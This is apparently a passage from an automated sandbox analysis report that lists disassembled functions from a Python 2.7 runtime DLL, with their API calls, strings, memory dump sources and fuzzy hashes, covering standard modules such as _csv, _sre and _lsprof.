PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\unicodeobject.c,000004A5,?,?,?,?,6C0A28B9,?), ref: 6C18799E
PyErr_SetString.PYTHON27(6C2E48B0,decoding Unicode is not supported,?,?,?,?,6C0A28B9,?), ref: 6C1879C9

Strings

decoding Unicode is not supported, xrefs: 6C1879C3
decoding bytearray is not supported, xrefs: 6C187B85
%s:%d: bad argument to internal function, xrefs: 6C187998
coercing to Unicode: need string or buffer, %.80s found, xrefs: 6C187A53
..\Objects\unicodeobject.c, xrefs: 6C187993

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$FormatString
String ID: %s:%d: bad argument to internal function$..\Objects\unicodeobject.c$coercing to Unicode: need string or buffer, %.80s found$decoding Unicode is not supported$decoding bytearray is not supported
API String ID: 4212644371-1958307440
Opcode ID: 177ea478aa1d10708be663a2a0bae450bc69b6c5ebb0e4c487f4fd4a2b07b39a
Instruction ID: 6bfdb721dae4e3a231ffb48c980687fd61e17ccfd408cd774141d7b43d96b258
Opcode Fuzzy Hash: 177ea478aa1d10708be663a2a0bae450bc69b6c5ebb0e4c487f4fd4a2b07b39a
Instruction Fuzzy Hash: A55136B6B096008BD710DF69E840A57B3E5EB95328B144A2BFD69C3F40E735E804CBD1

Function 6C1657A0 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 121COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E5248,print recursion,?,?,6C150298,00000001,00000000,?,00000000), ref: 6C1657B7
PyErr_CheckSignals.PYTHON27(?,?,6C150298,00000001,00000000,?,00000000), ref: 6C1657C5
PyOS_CheckStack.PYTHON27(?,?,6C150298,00000001,00000000,?,00000000), ref: 6C1657CE
PyErr_SetString.PYTHON27(6C2E67A8,stack overflow,?,?,6C150298,00000001,00000000,?,00000000), ref: 6C1657E3

Strings

<nil>, xrefs: 6C16580C
print recursion, xrefs: 6C1657B1
stack overflow, xrefs: 6C1657DD
<refcnt %ld at %p>, xrefs: 6C165835

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$CheckString$SignalsStack
String ID: <nil>$<refcnt %ld at %p>$print recursion$stack overflow
API String ID: 1213917722-2658149411
Opcode ID: 0407068163b0f6525241264a0e022fae3df72a9547ab3c2c3e50306982be63a1
Instruction ID: ee2d8970297e754f4a3979962972993160ed506edf734cf8feaec8eea36d3b45
Opcode Fuzzy Hash: 0407068163b0f6525241264a0e022fae3df72a9547ab3c2c3e50306982be63a1
Instruction Fuzzy Hash: F5317075A012019BC7009FFB9C44E9B37BCAF9632CB140628FC1193F42EB25D93687A2

Function 6C0A7600 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 84COMMON

Download Yara Rule

APIs

PyType_Ready.PYTHON27(6C30E5E8), ref: 6C0A7605
PyType_Ready.PYTHON27(6C30E710), ref: 6C0A761A
PyType_Ready.PYTHON27(6C30E9B8), ref: 6C0A762F
Py_InitModule4.PYTHON27(_csv,6C30FA70,CSV parsing and writing.This module provides classes that assist in the reading and writingof Comma Separated Value (CSV) files, and implements the interfacedescribed by PEP 305. Although many CSV files are simple to parse,the format is not formally defi,00000000,000003F5), ref: 6C0A7656
PyModule_AddStringConstant.PYTHON27(00000000,__version__,1.0), ref: 6C0A7673

Part of subcall function 6C1CED90: PyString_FromString.PYTHON27(xvl,?,?,6C0A7678,00000000,__version__,1.0), ref: 6C1CED98
Part of subcall function 6C1CED90: PyModule_AddObject.PYTHON27(?,?,00000000,1.0), ref: 6C1CEDAF

PyDict_New.PYTHON27 ref: 6C0A7684

Part of subcall function 6C144510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,6C1650C0,?,00000014,?,6C1CDEB4), ref: 6C144529

PyModule_AddObject.PYTHON27(00000000,_dialects,00000000), ref: 6C0A769D

Part of subcall function 6C1CEC70: PyType_IsSubtype.PYTHON27(?,?,?,?,6C0A57F9,00000000,deque,6C30FF60), ref: 6C1CEC87
Part of subcall function 6C1CEC70: PyErr_SetString.PYTHON27(6C2E48B0,PyModule_AddObject() needs module as first arg,deque,6C30FF60), ref: 6C1CEC9E

PyModule_AddIntConstant.PYTHON27(00000000,?,00000000), ref: 6C0A76BF

Part of subcall function 6C1CED40: PyInt_FromLong.PYTHON27(00000000,6C30E478,?,6C0A76C4,00000000,?,00000000), ref: 6C1CED48
Part of subcall function 6C1CED40: PyModule_AddObject.PYTHON27(?,?,00000000), ref: 6C1CED5F

PyModule_AddObject.PYTHON27(00000000,Dialect,6C30E5E8), ref: 6C0A76E5
PyErr_NewException.PYTHON27(_csv.Error,00000000,00000000), ref: 6C0A76F8
PyModule_AddObject.PYTHON27(00000000,Error,00000000), ref: 6C0A7710

Strings

_csv.Error, xrefs: 6C0A76F3
CSV parsing and writing.This module provides classes that assist in the reading and writingof Comma Separated Value (CSV) files, and implements the interfacedescribed by PEP 305. Although many CSV files are simple to parse,the format is not formally defi, xrefs: 6C0A7647
_dialects, xrefs: 6C0A7697
Dialect, xrefs: 6C0A76DF
1.0, xrefs: 6C0A7668
Error, xrefs: 6C0A770A
__version__, xrefs: 6C0A766D
_csv, xrefs: 6C0A7651
x0l, xrefs: 6C0A76B2

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Module_$Object$StringType_$FromReady$ConstantErr_String_$Dict_ExceptionInitInt_LongModule4Subtype
String ID: 1.0$CSV parsing and writing.This module provides classes that assist in the reading and writingof Comma Separated Value (CSV) files, and implements the interfacedescribed by PEP 305. Although many CSV files are simple to parse,the format is not formally defi$Dialect$Error$__version__$_csv$_csv.Error$_dialects$x0l
API String ID: 147260570-515204322
Opcode ID: 156d9cc952e1110021ce65159f3aa493b06b1f36e2d874409c4564e443ffdb8e
Instruction ID: 898a59ec8ae7b4ffd4aafe2bd4f00a55424185ae6f4c46fa18ad7d416f767a5b
Opcode Fuzzy Hash: 156d9cc952e1110021ce65159f3aa493b06b1f36e2d874409c4564e443ffdb8e
Instruction Fuzzy Hash: 652102A2B0060262F20002E82C46FBB32E84F6521DF180E35FC55D1F67F718C20A86FB

Function 6C0B8880 Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PyType_Ready.PYTHON27(6C30A140), ref: 6C0B8889
PyType_Ready.PYTHON27(6C30A7B0), ref: 6C0B889E
PyType_Ready.PYTHON27(6C30A8D0), ref: 6C0B88B3
Py_InitModule4.PYTHON27(_sre,6C30A998,00000000,00000000,000003F5), ref: 6C0B88D4
PyModule_GetDict.PYTHON27(00000000), ref: 6C0B88E7

Part of subcall function 6C165170: PyType_IsSubtype.PYTHON27(F08BFC45,?,00000000,?,?,6C155195,00000000), ref: 6C16518B
Part of subcall function 6C165170: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\moduleobject.c,00000032,6C155195,00000000), ref: 6C1651A9

PyInt_FromLong.PYTHON27(0131A629,00000000), ref: 6C0B88F6
PyDict_SetItemString.PYTHON27(00000000,MAGIC,00000000), ref: 6C0B890B

Part of subcall function 6C147460: PyString_FromString.PYTHON27(00000000,?,?,6C1650D7,00000000,__name__,00000000,?,00000014,?,6C1CDEB4), ref: 6C147468

PyInt_FromLong.PYTHON27(00000004), ref: 6C0B8926
PyDict_SetItemString.PYTHON27(00000000,CODESIZE,00000000), ref: 6C0B893B
_PyLong_New.PYTHON27(00000001), ref: 6C0B896A
PyDict_SetItemString.PYTHON27(?,MAXREPEAT,00000000), ref: 6C0B899F
PyString_FromString.PYTHON27( SRE 2.2.2 Copyright (c) 1997-2002 by Secret Labs AB ), ref: 6C0B89BD
PyDict_SetItemString.PYTHON27(?,copyright,00000000), ref: 6C0B89D6

Strings

_sre, xrefs: 6C0B88CF
MAGIC, xrefs: 6C0B8905
MAXREPEAT, xrefs: 6C0B8999
SRE 2.2.2 Copyright (c) 1997-2002 by Secret Labs AB , xrefs: 6C0B89B8
copyright, xrefs: 6C0B89D0
CODESIZE, xrefs: 6C0B8935

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$Dict_FromItemType_$Ready$Int_LongString_$DictErr_FormatInitLong_Module4Module_Subtype
String ID: SRE 2.2.2 Copyright (c) 1997-2002 by Secret Labs AB $CODESIZE$MAGIC$MAXREPEAT$_sre$copyright
API String ID: 2678407790-2209444679
Opcode ID: d3274bbbd56453f8b0c4a9f090eb76aa92b1e9dbd4696fa14682994be89f508c
Instruction ID: 3e52f61d0c392af5db620803b0bb581462b85628eb2bf4acc998727bd682c4a3
Opcode Fuzzy Hash: d3274bbbd56453f8b0c4a9f090eb76aa92b1e9dbd4696fa14682994be89f508c
Instruction Fuzzy Hash: 333116B3D0120267D6009665AC41FBB32E89F5027CB1C0725ED19A7BA1F73ADD09C2E3

Function 6C0B6C50 Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 393COMMON

Download Yara Rule

APIs

PyCallable_Check.PYTHON27 ref: 6C0B6C62

Part of subcall function 6C167170: PyObject_GetAttrString.PYTHON27(6C12F42C,__call__,?,6C12F42C,00000000), ref: 6C16718B
Part of subcall function 6C167170: PyErr_Clear.PYTHON27(6C12F42C,00000000), ref: 6C167197

_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C0B6D6F
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0B6DAB
free.MSVCR90 ref: 6C0B6E12
PySequence_GetSlice.PYTHON27(?,?,?,?), ref: 6C0B6ECD
PyList_Append.PYTHON27(?,00000000,?,?,?), ref: 6C0B6EE5
PyTuple_Pack.PYTHON27(00000001,00000000,?), ref: 6C0B6F44
PyEval_CallObjectWithKeywords.PYTHON27(?,00000000,00000000,?,?,?), ref: 6C0B6F5E
PyList_Append.PYTHON27(?,?), ref: 6C0B6FA8
PySequence_GetSlice.PYTHON27(?,?,?,?), ref: 6C0B7034
PyList_Append.PYTHON27(?,00000000,?,?,?), ref: 6C0B7048
_Py_BuildValue_SizeT.PYTHON27(6C28FD28,00000000,?,?), ref: 6C0B70E5

Part of subcall function 6C0B5FD0: PyErr_SetString.PYTHON27(6C2E5248,internal error in regular expression engine), ref: 6C0B5FEA

Strings

P&0l, xrefs: 6C0B6DC0, 6C0B6DC9, 6C0B6DD5
GC object already tracked, xrefs: 6C0B6DA6
_subx, xrefs: 6C0B6CFB

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: AppendList_$Err_Object_Sequence_SliceString$AttrBuildCallCallable_CheckClearErrorEval_FatalKeywordsMallocObjectPackSizeTuple_Value_Withfree
String ID: GC object already tracked$P&0l$_subx
API String ID: 255113379-4084756218
Opcode ID: 33d36927f47823b53d1307e3444db970c7bb0b3a78db5ce8f2211d565dfb46ad
Instruction ID: 84cb6f75998210ddf7a4b078fa3759a46f2df14fd3fcf77ba2d65c15433d7a0e
Opcode Fuzzy Hash: 33d36927f47823b53d1307e3444db970c7bb0b3a78db5ce8f2211d565dfb46ad
Instruction Fuzzy Hash: F7E172B1914301CFC714CF68D880B5AB7E4BF85328F144A2DF968A7791D736E94ACB92

Function 6C0A7720 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 245COMMON

Download Yara Rule

APIs

PyArg_UnpackTuple.PYTHON27 ref: 6C0A774F

Part of subcall function 6C1C5D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DB2
Part of subcall function 6C1C5D90: PyErr_SetObject.PYTHON27(6C2E65C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DBB

PyObject_GetIter.PYTHON27(?), ref: 6C0A776E
PyErr_SetString.PYTHON27(6C2E48B0,reduce() arg 2 must support iteration), ref: 6C0A778C
_PyObject_GC_NewVar.PYTHON27(?,00000002), ref: 6C0A77E9
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0A7817
_PyObject_GC_NewVar.PYTHON27(?,00000002), ref: 6C0A7889
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0A78B1
PyTuple_SetItem.PYTHON27(00000000,00000000,?), ref: 6C0A790F
PyTuple_SetItem.PYTHON27(00000000,00000001,00000000,00000000,00000000,?), ref: 6C0A7918
PyEval_CallObjectWithKeywords.PYTHON27(?,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?), ref: 6C0A7925
PyErr_GivenExceptionMatches.PYTHON27(?,6C2E4978), ref: 6C0A7953
PyErr_Clear.PYTHON27 ref: 6C0A795F
PyErr_SetString.PYTHON27(6C2E48B0,reduce() of empty sequence with no initial value), ref: 6C0A7994

Strings

reduce() arg 2 must support iteration, xrefs: 6C0A7786
P&0l, xrefs: 6C0A782C, 6C0A7835, 6C0A783D, 6C0A78C6, 6C0A78CE, 6C0A78D6
reduce() of empty sequence with no initial value, xrefs: 6C0A798E
reduce, xrefs: 6C0A7741
GC object already tracked, xrefs: 6C0A7812, 6C0A78AC

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Object_String$ErrorFatalItemObjectTuple_$Arg_CallClearEval_ExceptionFromGivenIterKeywordsMatchesString_TupleUnpackWith
String ID: GC object already tracked$P&0l$reduce$reduce() arg 2 must support iteration$reduce() of empty sequence with no initial value
API String ID: 1261823125-1375123231
Opcode ID: ec18166e1987868f0be89d8965556020d1d81c1ffff678c9dbd0bbc3a22a31f1
Instruction ID: abbee3205cf0fb890fba83fd7b803941d3b14b1554c16e9a6be04f975dac466a
Opcode Fuzzy Hash: ec18166e1987868f0be89d8965556020d1d81c1ffff678c9dbd0bbc3a22a31f1
Instruction Fuzzy Hash: 3091DFB16047019FD710CFA8C840B4AB3F4AF85328F248A5DE86997B96D735E946CB92

Function 6C1B4600 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 206COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E48B0,bad argument type for built-in operation,?,?,?,?,6C0A157A,?), ref: 6C1B461E
PyString_InternInPlace.PYTHON27(?), ref: 6C1B4667
PyDict_GetItem.PYTHON27(?,?,?), ref: 6C1B4675

Strings

P&0l, xrefs: 6C1B4711, 6C1B471A, 6C1B4729
bad argument type for built-in operation, xrefs: 6C1B4618
codec search functions must return 4-tuples, xrefs: 6C1B4801
GC object already tracked, xrefs: 6C1B46F7
no codec search functions registered: can't find encoding, xrefs: 6C1B4752
unknown encoding: %s, xrefs: 6C1B47C1

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_Err_InternItemPlaceStringString_
String ID: GC object already tracked$P&0l$bad argument type for built-in operation$codec search functions must return 4-tuples$no codec search functions registered: can't find encoding$unknown encoding: %s
API String ID: 3405058867-942771790
Opcode ID: 471c73d2ea6c992415c44079f72ed5f5c71348d054664d091ecc28327d17b41b
Instruction ID: d920a166680556c409f984a44d80f93362126a2e275085d072b7ec0e6ede7c67
Opcode Fuzzy Hash: 471c73d2ea6c992415c44079f72ed5f5c71348d054664d091ecc28327d17b41b
Instruction Fuzzy Hash: 6061F4B5A003019FC710DF65E880A57B3F9EB95328F108669ED6897B81D735E846CFD2

Function 6C0AB070 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 359COMMON

Download Yara Rule

APIs

PyErr_GivenExceptionMatches.PYTHON27(?,6C2E67A8), ref: 6C0AB0F4
PyErr_SetObject.PYTHON27(6C2E67A8,?), ref: 6C0AB114
PyUnicodeUCS2_DecodeUTF8Stateful.PYTHON27(?,?,strict,00000000), ref: 6C0AB145
PyErr_SetString.PYTHON27(6C2E65C8,Negative size passed to PyString_FromStringAndSize), ref: 6C0AB21B
PyErr_SetString.PYTHON27(6C2E63F8,string is too large), ref: 6C0AB245
PyObject_Malloc.PYTHON27(00000017), ref: 6C0AB255
PyErr_NoMemory.PYTHON27 ref: 6C0AB261

Part of subcall function 6C1C0380: PyErr_GivenExceptionMatches.PYTHON27(00000000,6C2E67A8,?,6C177E82,00000000,6C12B1D5,?,?,?,6C12F66F,00000000,?,00000000,6C12F785,00000000), ref: 6C1C0396
Part of subcall function 6C1C0380: PyErr_SetObject.PYTHON27(6C2E67A8,?), ref: 6C1C03B3

PyString_InternInPlace.PYTHON27(?), ref: 6C0AB293
memcpy.MSVCR90(00000015,?,?), ref: 6C0AB2C9
_PyString_Resize.PYTHON27(?,?), ref: 6C0AB341
_PyString_Resize.PYTHON27(?,?), ref: 6C0AB377
PyErr_GivenExceptionMatches.PYTHON27(?,6C2E67A8), ref: 6C0AB3B4
PyErr_SetObject.PYTHON27(6C2E67A8,?), ref: 6C0AB3D7

Strings

h-l, xrefs: 6C0AB26B
Negative size passed to PyString_FromStringAndSize, xrefs: 6C0AB215
string is too large, xrefs: 6C0AB23F
strict, xrefs: 6C0AB13E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$ExceptionGivenMatchesObjectString_$ResizeString$DecodeInternMallocMemoryObject_PlaceStatefulUnicodememcpy
String ID: Negative size passed to PyString_FromStringAndSize$h-l$strict$string is too large
API String ID: 2040566279-1953993072
Opcode ID: 3839db190b04a1121df5e55922f3a516bf5af0f23c8785e2de009d6f8d880cf4
Instruction ID: 9e48b675a09c7641440df42bf0b80bf74241e90944aa1bd5dc74ff6ff1da013a
Opcode Fuzzy Hash: 3839db190b04a1121df5e55922f3a516bf5af0f23c8785e2de009d6f8d880cf4
Instruction Fuzzy Hash: 0DC13876A042058FC700CFE9D8C0A5A73E4FB89328B64476DE925C7B92E731E847CB91

Function 6C0B0E80 Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 103COMMON

Download Yara Rule

APIs

Py_InitModule4.PYTHON27(_lsprof,6C322624,Fast profiler,00000000,000003F5), ref: 6C0B0EA0
PyModule_GetDict.PYTHON27(00000000), ref: 6C0B0EB3

Part of subcall function 6C165170: PyType_IsSubtype.PYTHON27(F08BFC45,?,00000000,?,?,6C155195,00000000), ref: 6C16518B
Part of subcall function 6C165170: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\moduleobject.c,00000032,6C155195,00000000), ref: 6C1651A9

PyType_Ready.PYTHON27(6C30B208,00000000), ref: 6C0B0EBF
PyDict_SetItemString.PYTHON27(00000000,Profiler,6C30B208), ref: 6C0B0EDA

Part of subcall function 6C147460: PyString_FromString.PYTHON27(00000000,?,?,6C1650D7,00000000,__name__,00000000,?,00000014,?,6C1CDEB4), ref: 6C147468

PyStructSequence_InitType.PYTHON27(6C311B18,6C30AC10), ref: 6C0B0EF5

Part of subcall function 6C177970: malloc.MSVCR90 ref: 6C177A06
Part of subcall function 6C177970: PyType_Ready.PYTHON27(6C314458), ref: 6C177A89

PyStructSequence_InitType.PYTHON27(6C311A50,6C30AC20,6C311B18,6C30AC10), ref: 6C0B0F04

Part of subcall function 6C177970: PyString_FromString.PYTHON27(n_sequence_fields), ref: 6C177B44
Part of subcall function 6C177970: PyString_InternInPlace.PYTHON27(00000000), ref: 6C177B57
Part of subcall function 6C177970: PyDict_SetItem.PYTHON27(6C314458,00000000,?,00000000), ref: 6C177B65
Part of subcall function 6C177970: PyString_FromString.PYTHON27(n_fields), ref: 6C177C34
Part of subcall function 6C177970: PyString_InternInPlace.PYTHON27(6C314458), ref: 6C177C47
Part of subcall function 6C177970: PyDict_SetItem.PYTHON27(6C314458,6C314458,?,6C314458), ref: 6C177C55
Part of subcall function 6C177970: PyString_FromString.PYTHON27(n_unnamed_fields), ref: 6C177D25
Part of subcall function 6C177970: PyString_InternInPlace.PYTHON27(6C2E2AA8), ref: 6C177D38

PyModule_AddObject.PYTHON27(00000000,profiler_entry,6C311B18), ref: 6C0B0F28
PyModule_AddObject.PYTHON27(00000000,profiler_subentry,6C311A50,00000000,profiler_entry,6C311B18), ref: 6C0B0F38
_PyObject_GC_NewVar.PYTHON27(?,00000000), ref: 6C0B0F67

Part of subcall function 6C0DBAA0: _PyObject_GC_Malloc.PYTHON27(?), ref: 6C0DBABC

Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0B0FA4

Strings

profiler_entry, xrefs: 6C0B0F22
profiler_subentry, xrefs: 6C0B0F32
P&0l, xrefs: 6C0B0FB9, 6C0B0FC1, 6C0B0FC9
Fast profiler, xrefs: 6C0B0E91
_lsprof, xrefs: 6C0B0E9B
GC object already tracked, xrefs: 6C0B0F9F
Profiler, xrefs: 6C0B0ED4

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String_$String$From$Dict_InitInternItemModule_PlaceType_$ObjectObject_ReadySequence_StructType$DictErr_ErrorFatalFormatMallocModule4Subtypemalloc
String ID: Fast profiler$GC object already tracked$P&0l$Profiler$_lsprof$profiler_entry$profiler_subentry
API String ID: 931865609-171897553
Opcode ID: 9aa190d456dcd915bd4b346bd72a4896810078ff9a1d6c7746b5aaab70472912
Instruction ID: a58402e8c3cd5853a452bf8dfd7b33abb6775d4fefb177bde5b4c0a7e7cb2040
Opcode Fuzzy Hash: 9aa190d456dcd915bd4b346bd72a4896810078ff9a1d6c7746b5aaab70472912
Instruction Fuzzy Hash: 7F314873B452105FC7109F19AE02FD5BBF8EB6226CF10062AE819A3F41E73A95158BD2

Function 6C0B6910 Relevance: 28.3, APIs: 11, Strings: 5, Instructions: 282COMMON

Download Yara Rule

APIs

PyDict_Size.PYTHON27(?), ref: 6C0B692E
PyErr_Format.PYTHON27(6C2E48B0,%s() takes at most %d positional arguments (%zd given),split,00000002,?), ref: 6C0B695A
